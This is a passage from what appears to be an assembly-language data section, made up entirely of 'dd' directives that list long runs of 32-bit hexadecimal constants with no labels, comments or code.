7EC22270h, 5FCFAAF5h, 0BEA15783h dd 81D113C3h, 7576C2h, 0F3ECFAF2h, 0E3EACFF5h, 777EA0D7h dd 0D92B22Fh, 958F397Fh, 3671998Ch, 0F5E66318h, 7A2807F8h dd 0E768EF01h, 6484EC3Bh, 0C46CFF55h, 0D7C7E80Dh, 4F8DDA1h dd 0A6EFD74Ch, 36CA8417h, 163E487Ch, 85528C7Fh, 0B789C085h dd 0F35FBBC0h, 3F199B4h, 0EBA951DAh, 0B91E3AFh, 5DC65BAEh dd 0FBD959BDh, 0D114B00Ah, 0B3AB037Fh, 18F08F19h, 0F3B1D92Bh dd 192F55CDh, 0D0F8460Ch, 156B29FFh, 0D4F617DEh, 0FD2E3F2Ah dd 0EAD38617h, 0A5E94FFh, 0CD66CFA1h, 5F4E9D0Ah, 0E9379DBDh dd 0F3D0ABA1h, 982BE0BEh, 6C700A9Fh, 4D549920h, 98CE336Dh dd 6E4569BBh, 512CC0B0h, 4B4B5ECFh, 50411F80h, 4CD4F076h dd 0E6FD0183h, 93EA76F0h, 4DA43D09h, 0C4A96DC7h, 96BFAB60h dd 5511CA5Bh, 20E52DC3h, 4134B2CEh, 91A8D09Fh, 0D7A56940h dd 0E136B7C9h, 399E4700h, 66C5107Dh, 0F19B4BD2h, 0BB706FD5h dd 5AAAACE8h, 70834FEh, 0A03EB74Dh, 48609D40h, 0B762D13Bh dd 8DD7DE5Ah, 274A0161h, 0C61676CAh, 9844CDD2h, 50B6987Dh dd 137C149Eh, 85B56ED3h, 140368BDh, 22907B3Eh, 0A86EC3C7h dd 0A645AEFAh, 72F51BB6h, 0C7956F4Bh, 0E8DF74E9h, 7F748C9Bh dd 37568C1Fh, 37A54272h, 0F0F9C2D8h, 6412FBB7h, 828649E9h dd 63DB12E2h, 0A126C819h, 637D20BBh, 0CD807354h, 7E813EE9h dd 0BD1DE882h, 71F30118h, 37E89279h, 67E88918h, 688FB9E9h dd 0F6497728h, 50EBF762h, 2709382Eh, 0D1A1610h, 340FCB0Ch dd 0FAFFC7D4h, 0E7524064h, 9EEFD458h, 3ED725h, 0EA30EC65h dd 0F3422EABh, 6F708FCCh, 1D00C5D3h, 0B6A744FCh, 0CE61D026h dd 0E0EA5510h, 1E468954h, 0F52ED348h, 3E312B91h, 3ADBF707h dd 3C620F0Dh, 0EA6F8770h, 0AEE111FCh, 784CD193h, 875548A6h dd 4B392D4Bh, 3E70B921h, 548B0901h, 0FC6F53ADh, 2D61168Ch dd 0AB18ADC3h, 81D66221h dd 0CB4E8F5h, 0F0354D73h, 338F27B1h, 34431313h, 6A699793h dd 90630A39h, 13A784AEh, 1A469B21h, 70EB5524h, 31FD416Ah dd 2315584Ah, 0AAB7A4FFh, 8DA4337h, 46E2E6C2h, 0EA52C999h dd 6932A82Fh, 4C4DF05Ch, 0CD1E4ABAh, 8CD3A4A8h, 605748B5h dd 9841FC96h, 5A40E2A9h, 3AE0605Dh, 2D6D8B68h, 5EEC947Ah dd 3AB0C3CBh, 69B7494Fh, 1BDF0772h, 0ED511C5Dh, 0F28C22D5h dd 75F1CE93h, 8B79C2D7h, 50B7423Fh, 16029E9Fh, 90DB45C1h dd 0E90D7E9Ah, 0EBAD54BCh, 6E5D8746h, 32245A7Fh, 0A6ABC00Dh dd 4B2B7401h, 0BF50158Fh, 61A0E35Fh, 0FF7B5480h, 0DC846DB0h dd 92772740h, 4D7D2C30h, 16F40791h, 0A382E8EFh, 0F6C24D5Ah dd 0AFA27FC3h, 0EF106C54h, 6A155B9Dh, 0ECB81BE3h, 32D7B853h dd 0AFA84B07h, 0EED019F4h, 147B6103h, 16D485F1h, 32EF12F5h dd 4345D9BFh, 0B87242F6h, 0CC028638h, 0E5B3BAC3h, 49602E00h dd 67B37072h, 0CA459DD7h, 4D99FABBh, 7C2B4BDh, 277EA93Ch dd 0E17A5DA4h, 0E1A48D4Eh, 5118A257h, 0C38E4CEAh, 0E1C623BBh dd 0BD66F8DAh, 0D8989A4Dh, 262255D1h, 0E0A76B6Ch, 1E20E562h dd 49D2CE86h, 0D2E57125h, 0BCABDA9Dh, 2A3A2E5Fh, 961C4CFEh dd 3B82EE6Ah, 6FC17812h, 727CF538h, 6C05E90h, 0A74FF3ABh dd 93EBE906h, 65789068h, 501950D9h, 0E1371FEEh, 68EAD77Eh dd 2E622629h, 0B44C515Dh, 0B14CCA5Dh, 0C5BFADEBh, 19A55F04h dd 0CAF996BDh, 0C0B349CCh, 911EBAE9h, 0A50FA41Eh, 0DF014F70h dd 442D9EA3h, 0FB4AC40Eh, 0DE1E3268h, 707629D7h, 9D2EAF4Eh dd 7EC744C3h, 68D91B97h, 43D459E7h, 0A0D6D9E3h, 631933D4h dd 2A1DDB4Fh, 7ECD862Bh, 0E51CBE50h, 85C9E3A2h, 0F2CE0F94h dd 5153B238h, 1A8E9E5Ah, 4BA56754h, 4F297920h, 0F76BF946h dd 9B269871h, 72F30591h, 5C9A5EEh, 28763050h, 9CD5604Ah dd 566E8187h, 64F288C2h, 7B769D32h, 43C0EA5Ch, 9AD22F30h dd 878BFCE7h, 4D3FFBBh, 0E80A2E8Ch, 1858E64Eh, 200EBB7Fh dd 8C4BC4C6h, 6A1A17DFh, 7D85E12Eh, 0EC1BFC7Fh, 0EEF8508Dh dd 0BE5A1455h, 4512E6B8h, 0CEE9C0B4h, 2E42728Ch, 5952E713h dd 0A2969892h, 1E223650h, 0CA108F76h, 89A563AAh, 2929AC18h dd 9E7C3D94h, 0FCC31650h, 108AD26Ch, 4C545635h, 6C22B4D0h dd 0CBDBB682h, 450F7AFDh, 3403D05Eh, 0ED86790Dh, 0FA2893C3h dd 4EC5D012h, 0FF963149h, 27AE5526h, 5A8B2CBDh, 1A8F1139h dd 0D1A316D3h, 8FFF4B80h, 0B9321306h, 38549328h, 0E79ABD4Dh dd 4BA0F5E2h, 1DB33EBDh, 4C792239h, 3050F613h, 0A79ADE9Bh dd 0BF9C2FC1h, 6910E437h, 6D7BB676h, 0D033078Fh, 3C2CFF0Fh dd 0AA4347D0h, 0A62F56D9h, 67D70C1Bh, 5F55EB21h, 6D2AD90Bh dd 52F06DF5h, 0CB0B6959h, 0EFBC919h, 65A5E9F4h, 5EB2B413h dd 1FD856BCh, 0E337C32Ah, 0D83071A6h, 9E2D281h, 9067811Bh dd 82BF5B2h, 67896413h, 0BB19E9BAh, 5D3BC89Eh, 0E81ECADh dd 0F982465Dh, 228ABBA1h, 6F091484h, 5C9A6EC0h, 0B9F83A98h dd 83FC7FF9h, 522FE5DBh, 91C03FBDh, 21D2E19Dh, 4760CBA9h dd 147EBEEFh, 0B669921h, 96372463h, 76FB8C5Dh, 0D41A1DEh dd 4B0E9F46h, 4E8FD8Eh, 8AC6BF3h, 6336BA81h, 0C7B1110Dh dd 578722EBh, 800BB111h, 9B5E8BE1h, 6E1185D8h, 32FE5C7Bh dd 0DEC3AD55h, 970A7A2Eh, 0F90B0EEBh, 296D0FFFh, 5D5E7DA5h dd 0D3E18991h, 0E500FC9Eh, 37C22FF3h, 983DF5B5h, 0C760EBE8h dd 0E43D5BA5h, 404D36E2h, 0BF56C296h, 0FE42D6h, 0C04E3FD4h dd 15735565h, 0F56CD3C9h, 0A81C85B2h, 2EFCFFF1h, 6D5872B5h dd 8CA0B4DFh, 1329A66h, 8CCC6DD7h, 35518D5h, 0AB7DD954h dd 0D82B5A85h, 0BC1645C2h, 22F549A3h, 0DF6EB86Ch, 0D5A44CB7h dd 4BC92FAAh, 0EDBB6708h, 6AA8F6B5h, 74DF45AFh, 3A7D2C46h dd 0D370A64Dh, 1F74D8FAh, 3BAE5183h, 0E434618Dh, 96A504D1h dd 0BA90FB0Eh, 727832F9h, 6F0B6BBEh, 0DD1DA0CDh, 0B830C14Dh dd 2CE2E6Dh, 9A43D456h, 9A9EB085h, 0E6C84170h, 68095C26h dd 223FD5A3h, 0EFAF7523h, 0F75D8E3Eh, 0A4CF603Fh, 0E7BBED19h dd 5BD63410h, 2A3400h, 5673136Bh, 0C23EFB57h, 6EDA1958h dd 4648E5DFh, 0E03FB19Ah, 0CC21D165h, 600A658Eh, 7ACF8B2h dd 0D6795C70h, 4B21A7E6h, 6D404D03h, 36ABCBB7h, 9AFD92E7h dd 900F89EFh, 137DB8D2h, 17E11C88h, 0FC52FF45h, 0B2E5FE2Fh dd 0EAEF97D4h, 0FC082C5Fh, 9BE82C5Eh, 0E389901h, 0CF4AA394h dd 1F64C2E1h, 0CCC3C8E5h, 0A63952E3h, 307239E8h, 0E1551E79h dd 0CD7D4FCBh, 6036BFD6h, 6A12D61Bh, 9F046F74h, 27D0E64Eh dd 4240759Ch, 0C0B1D82Ch, 31E722BBh, 9E69EC45h, 1C4E8B8Ah dd 36F62298h, 0AE4BEC77h, 0BA619D13h, 89DEBE73h, 5BE48C50h dd 7D3D4DF4h, 6C73E85h, 0D914E0F0h, 0FE0D4C40h, 1E8C9322h dd 0C19F8B2Fh, 5E926937h, 14C40B80h, 0FBBF87B1h, 7572EAA7h dd 0D9CCAC1Eh, 9C583D2Ah, 0EE595D27h, 94AA10C2h, 11553FD5h dd 4774697Bh, 817B9B64h, 0B3F3896Ch, 0FCB64015h, 0C0DB273h dd 2616C6CFh, 134F5558h, 0ECA7CB6h, 8CC04767h, 1812713Eh dd 0BB1B2317h, 594C7580h, 81DCEBD8h, 0F17A040Eh, 0DB8DF60Bh dd 5367D05h, 2032A285h, 0B8FD03D6h, 43A877A5h, 56433C1Eh dd 0E5E2F4D6h, 0E9686804h, 23FEA2DDh, 0B2657480h, 0D455352Bh dd 8BE1B54Bh, 317D58B3h, 0A0392399h, 0F0E0EF6Ah, 0A2AA251Ch dd 0AA83E0E7h, 0F91073FEh, 2E692256h, 6C172418h, 975DC353h dd 0F7C5DEE0h, 8D1E4D32h, 7C666D2Fh, 0F6314529h, 0DC4BC55Fh dd 7809DF2Eh, 0BE504D4Ch, 768EC299h, 4E7665A1h, 0F9BCDF2Eh dd 6F2E26C3h, 0D3154EACh, 63F20C0Eh, 2C528A8Ah, 3BEA457Dh dd 74D6BF35h, 19765AFBh, 50E685F9h, 1034E6E3h, 0B77F53A1h dd 4542887Ah, 6E50A205h, 17E7DFFh, 0FFF7732h, 8B93F01Eh dd 35AB42F8h, 0BE61ACB9h, 0F34B18AFh, 0F9EFD61Dh, 0F63BD44Bh dd 6CB44B62h, 0D12D17ECh, 0D17EC7CBh, 0E63D3D12h, 0FEE896F3h dd 0A25D1731h, 0DF93FC2Dh, 2B7B8788h, 0A2BFCD52h, 8731113Bh dd 0B4FAD365h, 299665B3h, 60279D27h, 0D8C0EEAAh, 5B132EEEh dd 15B3E566h, 0C7916D93h, 7C2F23D1h, 0B00776B2h, 76137460h dd 0AD9894FDh, 0DA469FFEh, 0FF87FF72h, 123FC5C9h, 51AAFD8Ah dd 7C50F3BAh, 436A49E4h, 0A8DE798Ah, 2A507B3Ah, 6A5C1B0h dd 2FC8E375h, 522C0727h, 0FC3D41B5h, 9A4A3A09h, 0A23E16AEh dd 0FEEC5C4Fh, 1AAC7A21h, 663A7151h, 0AC69A246h, 6A86EEEEh dd 0D0C283D5h, 716FAE8Ch, 877EB54Bh, 0D18797FAh, 0F12F57CBh dd 2337938Ah, 0AB97970Ch, 28E8AB41h, 6AD7F698h, 9A902B67h dd 36A3F1DFh, 8996F8CDh, 67C4DD17h, 98793FA8h, 4E1CE26Fh dd 545FBC7Ch, 30BE1EABh, 0B38FFF92h, 0BA6F81B7h, 93C7FEBAh dd 2012D36h, 48A45009h, 328B452Bh, 6A868A8Bh, 4196616Bh dd 53546EB0h, 0A152D02h, 31BF58E8h, 209264EAh, 4C5AA5FAh dd 321F0DA3h, 6E1B06DDh, 0C710C1B8h, 104E2714h, 608A1E54h dd 2AB1145Bh, 0A1B81D42h, 5535BBA2h, 5208548Bh, 9F79FF9Ah dd 0FA493F7Bh, 0FFFDF6C0h, 0B9FA65E4h, 9EE74FCFh, 0E7B9CE7Bh dd 0C8C7339Eh, 313F176Ah, 0C3E9C26h, 0B070911h, 6EA06F03h dd 2F99763Bh, 0ADD17B65h, 704CCBA0h, 881BB016h, 2B785DD1h dd 7DF3AB6Bh, 6094DB09h, 7643B04Ah, 21B9FA48h, 7F1EE17Ch dd 759DC26Bh, 67648EBAh dd 6D31C2C8h, 4C98168Ah, 0CEC4A4F2h, 4DC9694Eh, 7552BE9Dh dd 0A7DEA984h, 24BDECD8h, 0FBF7BA95h, 3EB3EA88h, 973A81D5h dd 2AEB7AE7h, 0F53110C7h, 26069E41h, 0CE3462A9h, 68EBE20Ah dd 32C6FBE3h, 188FE75Dh, 0ABAA5F17h, 47753022h, 23B8E2D9h dd 389B143Ah, 5D40999Ch, 0CD7A46F5h, 4D87BC4Ah, 85DDB3A7h dd 9F2DCC7Bh, 3B5CDB3h, 0BCD341A3h, 113722C2h, 9F5D8F37h dd 6EA37482h, 9E291B25h, 5B1595ABh, 454F8040h, 0B27762BAh dd 0A9CC6AEEh, 46E9258h, 72B4811Fh, 86DDBF17h, 8A2EE70Fh dd 7448FE25h, 62312B7Dh, 48E24BBEh, 61B8A667h, 6788A289h dd 0B8D67DF2h, 924F68F0h, 0B0D7D50Bh, 170EA48Dh, 2A2B4BEDh dd 6DCA5027h, 8DA97565h, 1AD52EACh, 0E08B19BFh, 7E34EC4Ah dd 0C8AF9DAh, 0A7E35F3Fh, 0F0881615h, 7C7E63AEh, 0D81977E1h dd 2888B718h, 48FC4503h, 3676E5E4h, 29A32F73h, 0ED5B3B63h dd 0A987AF1Dh, 0D4C4C57Bh, 0CC7EC211h, 8B12E0A8h, 1DC89FEBh dd 5658FEF2h, 0BF21D5C3h, 9B9DB6B8h, 94EE80E8h, 0F6C61B28h dd 7A2C79A9h, 0B187137Bh, 4A196D33h, 0AD9C571Ch, 0B9A81360h dd 9D63A592h, 436C5C8Bh, 10448AF7h, 0E575DD8Eh, 0B923A82h dd 64AF7FBFh, 63EC2049h, 1D8BAC06h, 9865F155h, 0B8827496h dd 312322FFh, 0F505E52Ah, 2CA581DEh, 90877E25h, 49C22690h dd 35E4AFF6h, 7730657Ch, 0D7C72101h, 8389CBB1h, 4EF6B7C6h dd 407266A5h, 5F74E32Ah, 1368DFB4h, 1966BFA3h, 6E9534FAh dd 4352A6DDh, 71D3B253h, 3FF3AF07h, 1027B253h, 0A88B73F7h dd 5A3F1C5Ah, 0D750D92Ah, 1728CA84h, 0C44FF4ADh, 57FBE49Fh dd 0F0E3AE56h, 0D58364C4h, 0CB85893Fh, 0DEA5FF75h, 9D1889Fh dd 0F5540EF5h, 10677306h, 0D691A7E6h, 0A82DB612h, 5A66F72Fh dd 54400DB7h, 862966A5h, 93C4A2FCh, 0FC3EC344h, 7CEC3EA5h dd 41779E5Fh, 81DED7C1h, 0A7E23BDAh, 4CC306ADh, 592A23F1h dd 2943634Eh, 5E857FBh, 17A05DCAh, 0F27F163Fh, 0DB517BC5h dd 9B8E8FA1h, 9FC44FF4h, 90A3EB64h, 0E3AE5419h, 0A2E11A38h dd 0FFBA3552h, 7134EF50h, 0E3BD4273h, 6694BD64h, 74CE9673h dd 12326E1Fh, 5045D993h, 0BE18D9BCh, 0CFFF54BAh, 7FB86B73h dd 0DE2C503Ch, 0FAABC6F2h, 37EF1CFCh, 662A3F48h, 5267DB2Fh dd 0A7DBCEB7h, 0C4A74A5Ch, 0E54669BDh, 0CFD3CD08h, 0B43CB47Eh dd 5EF404D0h, 9D72E755h, 4F67C0DAh, 9C0B709Dh, 0C6C5533Dh dd 757F3A84h, 518B3D8Eh, 688721B5h, 6C880870h, 408A7959h dd 0C7C77Dh, 0C57E9FFCh, 25550320h, 0AE72BF4Fh, 0C7B5C5D1h dd 0BD71B5EAh, 42670B37h, 7AB1F9BDh, 0D3827F45h, 0F1532F96h dd 2E350DB4h, 0DEAA2DF1h, 6E3E93B9h, 505879F2h, 45D81F95h dd 30455F21h, 67CD5880h, 0E9E9C056h, 0C1D41DA3h, 333B9EB7h dd 0D81832AAh, 668831F3h, 0B429B5D9h, 3DC0C4E8h, 20911047h dd 65382D00h, 0CA9359ADh, 5294C529h, 804412DAh, 0EB3B688Bh dd 0D73F863Eh, 0A5D8B5B6h, 0AAAE8EF2h, 0E4D396B5h, 265E5D45h dd 15B51844h, 338ADAD1h, 0BE9D15B5h, 576F7552h, 12787911h dd 0A969BA5Fh, 0F34C44F9h, 3A29A8ADh, 0B49D4A4Eh, 5A1DC248h dd 243BC441h, 0EBF888EAh, 16F9444Dh, 0D935F0A4h, 2CA2615Bh dd 312E8D3Bh, 44EA73F2h, 1F396B55h, 290585D0h, 7DC3C6E8h dd 0AD3A2AF3h, 5041DF35h, 37371133h, 7DCE00D6h, 0EAD1C2F7h dd 753201A2h, 0D442B661h, 3BCA705Fh, 34BC54B6h, 8C7EEA58h dd 995D8D2Ah, 3BD4FAFBh, 0DFA918CEh, 1C46E6E2h, 6069514Ch dd 0D9F66A8Dh, 0D5196BDCh, 0C721E0D8h, 0E0B97585h, 2FD4E4Ah dd 1E20592Bh, 92BE3FBBh, 0A8659DF7h, 0E0DDF423h, 379DC568h dd 27724320h, 0CD1350ADh, 734B0905h, 3591469Dh, 0D1666FC4h dd 9A1C9179h, 3636466Ah, 0DEA564A5h, 0E2F3D796h, 0C525CB1Ah dd 4F6B2DABh, 0B6BD9381h, 0AA34B8F5h, 516596D4h, 0EE3D72B0h dd 96DBACDFh, 0F5814A5Dh, 85137FB8h, 3E30881Bh, 0AC95DCC1h dd 0A320DB6Bh, 3DB8CFE1h, 0F365306Ah, 88B3D155h, 279145C0h dd 0C470C42Dh, 0F14E50D7h, 0BB141C3h, 21A0A228h, 84555060h dd 0CC7FEF02h, 6A55AB5Eh, 220A4768h, 3E9375D4h, 974E32B6h dd 0F4635017h, 0CDEF280Bh, 1229D6EAh, 4BAF271Dh, 0D30018EEh dd 0DE4F04EAh, 54654EE1h, 4601BC69h, 4EC4CBFCh, 25C5EB1Bh dd 0D4141277h, 0FA59BC8Eh, 0FC8FA005h, 91EDF74h, 0B29139BFh dd 0E6ABE816h, 8D3DA411h, 795EF1D9h, 0E7A995C1h, 0D8B25B1h dd 0F340B027h, 484BB7C3h, 9225AFF9h, 712E22C4h, 7FCC7863h dd 0B71469C9h, 1122CE70h, 0FC5F185Ch, 0E2F0CFFBh, 2F69927Bh dd 0A0EEBBEBh, 9FD60050h, 345F1CB6h, 65118313h, 6A3B9740h dd 0CB3ADF02h, 0B79EDDBBh, 87997943h, 0E3044D52h, 0E67812DFh dd 7CD6B48Fh, 0A16312C9h, 1B7109DFh, 150ABBDAh, 5485CF89h dd 88D47C08h, 4E2421CBh, 81AD2B8h, 895943F1h, 0C7145E44h dd 0DFBC0F7h, 89A24696h, 0E49C432Bh, 0AE5AB1FDh, 0FEB97D56h dd 572E5FDEh, 96A19BC4h, 192E968Bh, 6522E90Fh, 0B9562C2h dd 0E3EB0556h, 0CAB58AFAh, 0AFA5DB15h, 65BFC98h, 0FEA28C5Fh dd 0B55ACCDFh, 26EBC8E4h, 3590EABBh, 48453170h, 5CDBC29Ch dd 0D25935E2h, 13634293h, 0B64A82Bh, 984E66CCh, 0AAE49EA9h dd 5BAF94B1h, 0E782C449h, 214320A6h, 0E9D4CF2Bh, 79CB188Ah dd 0DDA14299h, 0D81A8078h, 0B1827BA5h, 8BF3AAEEh, 35B42571h dd 30C141EAh, 7278AF4h, 542B96D2h, 8F02DCC0h, 5185B28Bh dd 0B1540D6h, 9663761Dh, 4AB8BBADh, 8714EE2Ah, 0DD2EA4DFh dd 5F77C9D1h, 0D5EB7516h, 0BC2EA252h, 852D416Eh, 3579CBA0h dd 3D75DD71h, 0BC080885h, 2CFBA8D7h, 9EE05DEDh, 4830BF97h dd 0C577864Dh, 0F5D9CFD0h, 0B7E2C252h, 0F2CFA124h, 0D5113FDAh dd 8E6EFA76h, 8C09D923h, 0E87FF364h, 0A03E88CDh, 0DA38252Bh dd 3E6BD012h, 0F81EB66Dh, 5F895DF5h, 0D908A1B5h, 783E0AEBh dd 5CABCC78h, 5FB7BE4Fh, 0A98F7FA1h, 0EDA58DE0h, 659AA1E1h dd 1FF1CE15h, 0D05B3907h, 889A60C2h, 90C02D21h, 4FFE9ED7h dd 13FB3218h, 6209926Ch, 4DF1BDC1h, 9BCEDC52h, 21A34124h dd 0AFCA34E1h, 11077B30h, 9F3D88BCh, 7F649B49h, 0CCDAD0B4h dd 8BAF6B9Bh, 0E58EE9EBh, 0E07601DBh, 3E4C5079h, 0DF451E01h dd 0C8265025h, 0F35AC4BFh, 92C82E3Ch, 2A544E3Eh, 3A631438h dd 0D552899Bh, 0F9BB0FF7h, 390CE83Bh, 1C1B390Eh, 0EE2AD0ACh dd 0CEF155E4h, 0F0E8AFCBh, 13BD5EDEh, 95F26E39h, 43F7B3A8h dd 129855B8h, 3E9EBFE4h, 0F90DE8EAh, 4D73D50Eh, 9803F4A3h dd 188FDE4Eh, 8B8B1072h, 81215D21h, 8276D646h, 9754C7AFh dd 49E5E06Bh, 1AFFFEEFh, 4581FBB9h, 9C58DBB8h, 2DD9A387h dd 12B00FF5h, 1BF652A5h, 76B8A7A7h, 98266AF7h, 0D4B6AB0Fh dd 0D21C324h, 0C1958071h, 0DDC944Ch, 0A1969722h, 9C54BFA2h dd 5257A4B8h, 6E3F9F1h, 0E61D043h, 69F1C327h, 3CBF39B1h dd 0C1577BCFh, 2281DEDBh, 16B953F7h, 0E9C7FB83h, 0ADD3CA45h dd 0B3E97123h, 40B8464Bh, 8EEE7A34h, 6DF5CA77h, 9DE344EFh dd 0F2C6895Dh, 5E3442Eh, 6269EEBh, 0E67DD426h, 1D1C24A4h dd 6A1BB01Dh, 9BB1CA66h, 6478418Ah, 55BB2F9Ch, 2F13C9FCh dd 1E171AFCh, 0CCC15D7h, 1028B666h, 2B00E601h, 7BAA050Bh dd 661FCDFEh, 0D225CB51h, 0ACE22BD4h, 0E4B8E390h, 0A8703BCBh dd 916E9331h, 3C053A4Ch dd 1A834849h, 0A28581B2h, 8B81A4B8h, 0E3E29CEBh, 943D6541h dd 0C539ED82h, 974C1027h, 1C539141h, 191B4561h, 0C581CD6Ch dd 0BD46CDEAh, 0B16A52C1h, 24DCFFECh, 2E5E2C6Bh, 0D76AB6EBh dd 0D07376A2h, 8E2C16D7h, 2FC3C784h, 8E39B5CFh, 2C870A36h dd 6D61C2E3h, 7DE07A66h, 3CA30EFh, 4A3F6451h, 0C6524ED1h dd 0A708641Ch, 0AF9095C2h, 46999B4Dh, 556B4679h, 55288119h dd 808E9838h, 99C13E9Ch, 0B130D0EDh, 3839C043h, 0E14ED1C7h dd 0ADC237E4h, 0AE0CCCDAh, 55AAD1CFh, 0E524E475h, 4D6BB554h dd 0A11E7610h, 328FAA74h, 79CF6CCFh, 39C863C3h, 0CE992CE8h dd 0E65980C6h, 0F5DF8F39h, 4317687Bh, 3E588CD1h, 3BAC7D0Bh dd 7C4EB046h, 3B25B69Fh, 0BE6CEE03h, 2CAEF82Ah, 9A764F78h dd 0FAF097F5h, 12F7708h, 0AB198A8h, 6C54B388h, 8FBD4B37h dd 0F2856EEBh, 7E45281h, 6EE5921Bh, 44734DE7h, 0ADF85CCBh dd 929C40BCh, 399CE19Dh, 0C141FA33h, 6DBEF09Bh, 0B3F681ADh dd 567F7B7Bh, 5807BB8Dh, 9F6F4DFCh, 7D36E089h, 0FC8B51F7h dd 2D13C336h, 13553315h, 0B2B316EFh, 935433AAh, 0F46A0D9Dh dd 1C1FACB8h, 0AE364D6Ch, 0EBE55533h, 76D2E1F7h, 0AD78CCC8h dd 0AF56B8C3h, 0CB62AA0Dh, 80DB6696h, 0DAE9683h, 0CA4E85F7h dd 55978C7Ah, 0BFBA875Eh, 0FC5F524Dh, 17806546h, 0D92DD742h dd 5333EAF0h, 3A53FB3Ch, 88A01C71h, 8ABAABBFh, 263BC1A6h dd 54868B9Ah, 0EFCDF531h, 9570061Fh, 78697CB2h, 232DAE9Fh dd 391F456h, 6881A549h, 0D5CCBD99h, 34B30907h, 153B2174h dd 5C1F382Bh, 0ADDAB98Ah, 6C5955CFh, 5479FD54h, 7013C0D6h dd 1C0F7397h, 0ADB670Ch, 0F7B6D052h, 97B44E67h, 0EDFBDAA1h dd 0EE26DEB4h, 2389C483h, 20923814h, 0D36A8B79h, 6AA6663Bh dd 9E126267h, 80C50D3Eh, 0B18B3171h, 6EADA996h, 0E25F8A82h dd 3C575A94h, 28141508h, 59C97711h, 0B4B3D49h, 0CC84E45Bh dd 0C9DEEF14h, 5F8996EEh, 0B3F1BC04h, 0DE13C21Ch, 26FAF36Ch dd 32A2D0C2h, 8F66BD15h, 84FF1F6Eh, 0E71EBE3Bh, 0E64C7C82h dd 1EC65CC6h, 721488Ch, 61589014h, 0EB5655D4h, 0A50A2368h dd 0CFF3E4EAh, 3F627D13h, 48CAAFEAh, 8437CE7Eh, 0ED3BAB36h dd 5822AA36h, 0A0862191h, 3A3CF2FAh, 99797D03h, 6F06FF8Dh dd 6DC6BF3h, 0B4A5956h, 7952F1CEh, 7A46F273h, 0CB44F0AFh dd 9614D1C4h, 3F998919h, 28481351h, 0DB96DC0h, 785D3252h dd 0E1915F92h, 8A31E21Bh, 0BB54C4DDh, 97E3E94Ah, 0D8973DECh dd 0AFBE3683h, 4751EB15h, 325A0A7Dh, 0FF0DCF96h, 1DEA3640h dd 0B9178285h, 512E3C78h, 0B25029Eh, 0E67310F1h, 42CE5AB6h dd 51A13BBh, 44293003h, 0D2FA3440h, 0DB9052F2h, 0DEEA9467h dd 0BE569AF0h, 0E8D67FD7h, 86E1CFEBh, 0DB3E890Fh, 363B3B8Bh dd 1EA62B30h, 1F23D841h, 2733F13Bh, 7F81813Ch, 36B1D659h dd 3363F7DAh, 872F82AFh, 0EC5C77C4h, 0A90A9E9h, 0A3A72864h dd 9F8015BDh, 1957A8ECh, 0C75DD5B2h, 0D4ACCA12h, 0FA8961Ch dd 90F1C004h, 78A753E3h, 9E8904D6h, 81EE52C3h, 4450BEAh dd 4BAFE111h, 0F9B0C676h, 0B3BEA946h, 0DDA14EAAh, 4486EC31h dd 0CD69316Ah, 0F0A5D3F6h, 0B9AC22Dh, 2A51C4ACh, 0D269A765h dd 0BE6E7FA8h, 8C4BC3AFh, 2A94A460h, 748CF66Ch, 5341CCC6h dd 3927BA62h, 3B87F8E4h, 0AEC2C392h, 0EF79C998h, 9C91E8D0h dd 26BF13BDh, 0F2E07BD8h, 6AEFC698h, 56A579EAh, 34195CDCh dd 0B31F1C87h, 0E4969481h, 4A5A466Eh, 1159A7EDh, 43749474h dd 54F17551h, 2ABF677Fh, 6292B36h, 0ADA5B8C8h, 0A4AABA81h dd 59F7B998h, 0D3A3BC66h, 0D2939387h, 0BB96B4Ch, 7EA0B8BBh dd 9E98E0D1h, 7F084A80h, 0DD8F8929h, 50B2E558h, 0D5DC2360h dd 94C6DE15h, 6C5FEB07h, 0CCB94E24h, 0B0C6463Dh, 0E3901A21h dd 0F221891Bh, 1E7A9E64h, 0D458C2EFh, 0E591621Eh, 0CF4EE646h dd 832B24B3h, 46345EBDh, 5918D65Bh, 3CCC1B82h, 47569D80h dd 94584AA1h, 0FBB15h, 0AEC41F26h, 2272BAB8h, 179A9694h dd 4C875B4Fh, 0EF449FA1h, 12591BAEh, 0B93B7E2Ah, 98829A21h dd 0DE967712h, 0AF85B27h, 6576718Fh, 23C5DEC1h, 0B7E2E665h dd 633C7329h, 8EF3BC46h, 9DD43DB7h, 0B22C49E5h, 14EDBC74h dd 78F922C6h, 43FE8033h, 0CF8E5167h, 8183EE29h, 844706E3h dd 0B1F99FB5h, 7D444F9Bh, 0D2F7E2EDh, 0B1C8505Bh, 0A4E82A91h dd 0F6F156D8h, 0C5996579h, 5B14F35Ah, 4688D920h, 3646AB46h dd 9B9AC53Ah, 0A0510BD5h, 0D25A1085h, 6949D106h, 0E6D99FCBh dd 0F864057Dh, 0BE0A3E44h, 1E014A24h, 0B82B83C8h, 0EF163C37h dd 0C56DD695h, 1BEC729Dh, 0BADD8C7Bh, 0D609D1CDh, 0D205B9ACh dd 25D5CA38h, 93DC7C53h, 3199E05Bh, 6B11C5Ah, 6F37E5AEh dd 3AEA2EDh, 76C55B7Fh, 972E5218h, 0AC7AC90Ch, 0B677B6BFh dd 0B049157Ah, 75C62AC8h, 4B7A1867h, 988B0E83h, 0C95B546Dh dd 0DD0C9F5Fh, 0A43A4810h, 0D6B2EFFAh, 4EA954B4h, 0A2046D77h dd 864656A4h, 7AD3A030h, 5F6CB15Eh, 51EDECC1h, 95A1E2F5h dd 0F81220DDh, 176C3E13h, 0EDEC0CFBh, 3AF0E599h, 42D2B5E4h dd 0A6DC97B8h, 5C845E68h, 0B4DE7BB1h, 341D1551h, 75F519Fh dd 3DC0DE5Fh, 0D5A961E0h, 0A7CBCAD6h, 8D3048B1h, 0B8FEFBA8h dd 0C5479133h, 828F7C4Dh, 0FEA89D86h, 473F552Ch, 0C28B2F55h dd 9E70BF8Eh, 0B5EAC053h, 0E4E8AC4h, 0ED1D4727h, 7A874751h dd 31F4B70Bh, 0B4744878h, 2E341657h, 85EF2532h, 52FEC02Bh dd 0B64A6AF5h, 0AAB84429h, 459D59C4h, 4D215927h, 0EB318C0Fh dd 2DE0FA6Fh, 503A5D73h, 1460FFB7h, 505DED6Bh, 2F9BEF50h dd 0F81AC195h, 4D438BB7h, 0F9266C68h, 7CA7D4FAh, 24632B48h dd 0BA7ED282h, 280F9EA0h, 404415DFh, 0D16DE31h, 33510651h dd 0EEA5B21Dh, 9719FFA7h, 4B47AEA3h, 7E18D9Bh, 0A51DD75Ch dd 2B304666h, 0E029F54h, 0EE7A6D44h, 0F7BD414Bh, 